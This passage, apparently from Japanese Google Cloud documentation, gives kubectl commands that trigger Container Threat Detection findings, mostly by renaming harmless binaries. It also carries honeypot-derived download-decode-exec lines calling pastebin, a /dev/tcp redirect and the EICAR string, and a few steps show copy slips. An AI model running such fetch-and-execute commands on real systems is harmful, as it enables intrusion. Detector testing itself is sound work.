を別の場所にコピーして、疑わしいツール(amicontained
)の名前を変更して実行します。このアクションは、Kubernetes 攻撃ツールの実行試行と一致する動作をシミュレートするため、不審な動作と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
amicontained
などの Kubernetes 攻撃ツールバイナリをドロップして実行します。x86 ノード:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
ARM ノード:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: Kubernetes 攻撃ツールの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: ローカル偵察ツールの実行
Execution: Local Reconnaissance Tool Execution
の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls
を別の場所にコピーして、疑わしいツール(linenum.sh
)の名前を変更して実行します。名前を変更したバイナリを実行すると、ローカル偵察の試みと一致する動作がシミュレートされるため、このアクションは不審な動作と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
linenum.sh
などのローカル偵察ツールバイナリを導入して実行します。x86 ノード:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
ARM ノード:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Container Threat Detection のロギングを構成している場合、このテスト手順により、「実行: ローカル偵察ツールの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 悪意のある Python の実行
「実行: 悪意のある Python の実行」の検出結果をトリガーするには、次の手順に沿ってコンテナ内で Python を実行します。
この手順では、最新の Python イメージをデプロイし、悪意がある可能性のある Python コードをコピーして実行します。検出結果をトリガーするには、Python コードが検出機能によって悪意のあるものと見なされる必要があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
新しいコンテナで次のスクリプトを実行します。
この Python コードは honeypot から取得されたものです。ただし、悪意のあるバイナリを実行しないように変更されています。スクリプトを実行しても、コンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが存在せず、その URL をたどろうとすると 404 エラーが発生します。これは想定された動作です。インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出結果がトリガーされます。
x86 ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
ARM ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Container Threat Detection のロギングを構成している場合、このテスト手順により「実行: 悪意のある Python の実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 変更された悪意のあるバイナリの実行
「実行: 変更された悪意のあるバイナリの実行」の検出結果をトリガーするには、コンテナ内で悪意のあるバイナリを変更して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/bin/ls
を悪意のあるファイルをテストする EICAR として変更してから実行します。作成した /bin/ls
は、コンテナの実行時に悪意のあるバイナリをテストする EICAR として変更されます。EICAR バイナリは脅威インテリジェンスに従って既知の悪意のあるファイルであるため、このバイナリの実行は想定外の動作となります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
EICAR バイナリをドロップして実行します。
x86 ノード:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
ARM ノード:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Container Threat Detection のロギングを構成している場合、このテスト手順により「変更された悪意のあるバイナリの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に「実行: 変更された悪意のあるバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「実行: 変更された悪意のあるバイナリの実行」の検出結果をすべて表示するには、例のようにコンテナ名または Pod 名の前に ktd-test
を付けます。
実行: コンテナでの Netcat リモートコードの実行
Execution: Netcat Remote Code Execution In Container
イベントをトリガーするには、ネットワーク通信が可能なバイナリ(netcat 自体、または別のユーティリティの名前変更されたコピーなど)がコンテナ内に存在し、実行されている必要があります。この例では、最新の Ubuntu 24.04 イメージをベースとしてデプロイします。/bin/ls
バイナリをコピーし、そのコピーの名前を netcat
(ネットワーク ユーティリティ)に変更します。名前を変更したバイナリを、ネットワーク インタラクションに適した引数を使用して実行します。このアクティビティは、コンテナ化された環境内で実際のリモートコード実行の試行中に頻繁に観察される動作を模倣しているため、不審なアクティビティとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
netcat
などのネットワーク通信ツールのバイナリを導入し、適切な引数を指定して実行します。x86 ノード:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
ARM ノード:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Netcat Remote Code Execution In
Container
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: リモート コマンド実行の可能性の検出
Execution: Possible Remote Command Execution Detected
(プレビュー)の検出結果をトリガーするには、リモート コマンド実行に通常関連付けられているコマンドまたはバイナリの実行がコンテナ内で確認される必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
をコピーして touch
(または find
などの別のツール)に名前を変更します。名前を変更したバイナリを、リモート コマンド実行に適した引数で実行します。この動作は、コンテナへの不正なリモート アクセスを確立しようとしている可能性があるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
適切な引数を指定して
touch
などのバイナリを実行します。x86 ノード:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
ARM ノード:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Possible Remote Command
Execution Detected
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 許可されていない HTTP プロキシ環境でのプログラムの実行
Execution: Program Run with Disallowed HTTP Proxy Env
の検出結果をトリガーするには、コンテナ内でプログラムを実行し、HTTP プロキシ環境変数を許可されていない値に設定します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
ユーティリティをコピーし、名前を /tmp/curl
に変更します。名前を変更したバイナリは、HTTP プロキシ環境変数(HTTP_PROXY
、http_proxy
など)に許可されていない値が設定された状態で実行されます。プログラムの実行と許可されていない HTTP プロキシ環境の存在の組み合わせは、不正なプロキシを介して通信を試みていることを示唆しているため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
curl
などのネットワーク対応バイナリを実行し、許可されていない HTTP プロキシ環境変数を使用して実行します。x86 ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
ARM ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Program Run with Disallowed
HTTP Proxy Env
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 不審な OpenSSL 共有オブジェクトの読み込み
Execution: Suspicious OpenSSL Shared Object Loaded
の検出結果をトリガーするには、.so
拡張子で終わるファイルを引数として openssl engine
コマンドを実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
ユーティリティをコピーし、名前を /tmp/openssl
に変更します。名前を変更したバイナリを、engine
と偽の .so
ファイル引数で実行します。.so
ファイルを使用した openssl engine
の実行は、悪意のあるコードを実行するために共有オブジェクトが読み込まれる動作を模倣しているため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
curl
などのネットワーク対応バイナリを実行し、許可されていない HTTP プロキシ環境変数を使用して実行します。x86 ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
ARM ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Suspicious OpenSSL Shared Object Loaded
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
データの引き出し: コンテナでのリモート ファイル コピー ツールの起動
Exfiltration: Launch Remote File Copy Tools In Container
の検出結果をトリガーするには、コンテナ内で一般的なリモート ファイル コピー ツールを実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
ユーティリティをコピーして名前を /tmp/rsync
に変更します。このファイルを実行すると、リモートの(悪意のある可能性のある)ソースからファイルが取得されます。コンテナ内でリモート ファイル取得引数を使用してこのようなツールを実行すると、悪意のあるコードのダウンロードと実行やデータの盗み出しを試みている可能性があるため、不審なアクティビティとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
rsync
などのリモート ファイル コピー ツールを実行します。x86 ノード:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
ARM ノード:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
Container Threat Detection のロギングを構成している場合、このテスト手順により Exfiltration: Launch Remote File Copy Tools
In Container
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
影響: 悪意のあるコマンドラインの検出
Impact: Detect Malicious Cmdlines
(プレビュー)の検出結果をトリガーするには、既知の悪意のあるパターンまたは引数を含むコマンドラインの実行がコンテナ内で検出される必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
バイナリをコピーし、そのコピーの名前を ipfs
に変更します。次に、名前を変更したバイナリを実行します。この動作は、悪意のあるコードの実行やセキュリティ制御の回避を試みている可能性があるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
ipfs
などのバイナリを実行します。x86 ノード:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
ARM ノード:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Detect Malicious Cmdlines
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
影響: ディスクからの大量のデータの削除
Impact: Remove Bulk Data From Disk
の検出結果をトリガーするには、データの削除または上書きが可能なバイナリをコンテナに配置して実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
バイナリをコピーし、そのコピーの名前を shred
に変更します(または、安全なファイル削除用に設計された同様のユーティリティを使用します)。次に、名前を変更したバイナリを実行します。このアクションは、コンテナ化された環境内のディスクから大量のデータを削除しようとする場合に頻繁に見られる動作を模倣しているため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
shred
などのファイルまたはデータ削除バイナリを導入して実行します。x86 ノード:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
ARM ノード:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Remove Bulk Data From Disk
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
影響: Stratum プロトコルを使用した不審な暗号通貨マイニング アクティビティ
Impact: Suspicious crypto mining activity using the Stratum
Protocol
の検出結果をトリガーするには、Stratum プロトコルを使用して通信する暗号通貨マイニング ソフトウェアで使用される引数に類似した引数を使用して、コンテナ内でバイナリを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls
をコピーし、そのコピーの名前を疑似バイナリの名前に変更します(暗号通貨マイナーをシミュレートするため)。名前を変更したバイナリを、stratum+tcp
などの Stratum プロトコル インジケーターを含む引数で実行します。このアクティビティは、コンテナ化された環境内の暗号通貨マイニング ソフトウェアのネットワーク通信パターンを模倣しているため、不審なアクティビティとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
curl
などのユーティリティ バイナリを導入し、Stratum プロトコルを使用して通信する暗号通貨マイニング ソフトウェアで使用される引数に似た引数で実行します。x86 ノード:
tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
ARM ノード:
tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Suspicious crypto mining activity
using the Stratum Protocol
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
このテストで実行する bash
コマンドの追加の検出結果が表示されることもあります。これは正常な動作です。追加の検出結果は無視してかまいません。
悪意のあるスクリプトの実行
悪意のあるスクリプトの実行の検出結果をトリガーするには、コンテナ内で次の手順に沿ってスクリプトを実行します。
この手順では、最新の Ubuntu 24.04 イメージをデプロイし、悪意がある可能性のあるスクリプトをコピーして実行します。検出をトリガーするには、スクリプトが検出機能によって悪意のあるものと見なされる必要があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
新しいコンテナで次のスクリプトを実行します。
このインライン Bourne シェル スクリプトは、ハニーポットから発信されました。ただし、悪意のあるバイナリを実行しないように変更されているため、スクリプトを実行してもコンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが削除されている可能性があり、その URL をたどろうとすると 404 エラーが発生します。これは想定された動作です。インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出結果がトリガーされます。
x86 ノード:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
ARM ノード:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Container Threat Detection のロギングを構成している場合、このテスト手順により、「悪意のあるスクリプトの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
悪意のある URL の観測
悪意のある URL の観測の検出結果をトリガーするには、バイナリを実行し、悪意のある URL を引数として指定します。
次の例では、Ubuntu 24.04 イメージをデプロイして /bin/curl
を実行し、セーフ ブラウジング サービスからサンプルのマルウェア URL にアクセスします。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
curl
を実行し、引数として悪意のある URL を指定します。x86 ノード:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
ARM ノード:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Container Threat Detection のロギングを構成している場合、このテスト手順により「悪意のある URL の観測」の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
権限昇格: /dev/shm
でのファイルレス実行
Privilege Escalation: Fileless Execution in /dev/shm
の検出結果をトリガーするには、/dev/shm インメモリ ファイル システムからプロセスを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/echo
ユーティリティを /dev/shm/echo
にコピーします。名前を変更したバイナリを実行します。/dev/shm
の下のファイルの実行は、ファイルベースの検出を回避するためにメモリで実行しようとするオブジェクトの動作を模倣しているため、不審なものとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
特権コンテナを作成し、bash を開いてコマンドを実行します。
x86 ノード:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \ "$tag" -- bash
ARM ノード:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}] "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash
echo
を/dev/shm
にコピーし、chmod
を使用して実行可能にします。cp /bin/echo /dev/shm chmod 777 /dev/shm/echo
実行を有効にするために
/dev/shm
を再マウントしますmount -o remount,exec /dev/shm
/dev/shm
からecho
を実行します。/dev/shm/echo "Hello from /dev/shm"
Container Threat Detection のロギングを構成している場合、このテスト手順により Privilege Escalation: Fileless Execution in /dev/shm
の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
リバースシェル
リバースシェルの検出結果をトリガーするには、TCP 接続のソケットへの stdin
リダイレクトでバイナリを開始します。この例では、/bin/echo
を /tmp/sh
にコピーし、DNS ポート上の Google Public DNS 8.8.8.8
へのリダイレクトで /tmp/sh
を開始します。この例を実行しても、何も出力されません。中間者(MITM)攻撃による外部コード インジェクションを防ぐため、この例では /bin/sh
バイナリを使用しません。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Google Public DNS への
/bin/echo
